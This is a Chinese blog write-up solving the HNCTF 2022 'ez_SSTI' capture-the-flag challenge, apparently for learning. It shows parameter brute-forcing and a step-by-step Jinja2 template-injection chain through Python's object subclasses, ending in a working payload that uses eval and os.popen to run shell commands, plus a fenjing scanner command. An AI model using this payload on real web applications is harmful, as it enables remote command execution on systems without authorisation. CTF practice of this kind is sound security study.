HNCTF 2022 WEEK2 ez_SSTI
本文最后更新于56 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

Pasted image 20260105170752.png

一、访问网站

Pasted image 20260105171145.png

翻译一下,提示是SSTI
Pasted image 20260105171253.png

二、不知道参数只能通过爆破

1.添加payload
Pasted image 20260105172356.png

2.添加参数字典,取消编码

Pasted image 20260105172546.png

Pasted image 20260105172601.png

3.开始爆破,成功爆破出参数是name
Pasted image 20260105172632.png

三、测试是否存在SSTI

尝试{{7*7}},成功解析为49
Pasted image 20260105173058.png

四、查看当前对象所属的类

然后输入{{''.__class__}}判断当前对象所属的类可以发现为str
Pasted image 20260105174638.png

五、查看当前类对应的父类

再输入{{''.__class__.__base__}}查看当前类对应的父类是否为object
Pasted image 20260105174810.png

六、查看object类的所有子类

输入{{''.__class__.__base__.__subclasses__()}}查看object类的所有子类
Pasted image 20260105174900.png

七、爆破os._wrap_close模块对应的下标

Pasted image 20260105175228.png

1.对下标添加payload
Pasted image 20260105175418.png

2.payload类型选择数值
Pasted image 20260105175523.png

3.选择生成的数字范围:0-200,间隔为1
Pasted image 20260105175631.png

4.开始爆破,搜索os._wrap_close,下标为137
Pasted image 20260105180000.png

八、调用__init__函数,判断模块是否重载

Pasted image 20260105180641.png

九、使用__globals__函数查看全局变量,判断有哪些模块可以调用

Pasted image 20260105180945.png

十、构造payload获取flag

?name={{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}

__builtins__提供对python的所有内置标识符的直接访问

eval()计算字符串表达式的值

popen()执行一个shell以命令来开启一个进程

Pasted image 20260105181058.png

十一、解法二

使用工具脚本一把梭

python -m fenjing scan --url http://node5.anna.nssctf.cn:20169/

直接一键获取flag
Pasted image 20260106114533.png

总结

  • SSTI模板注入
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇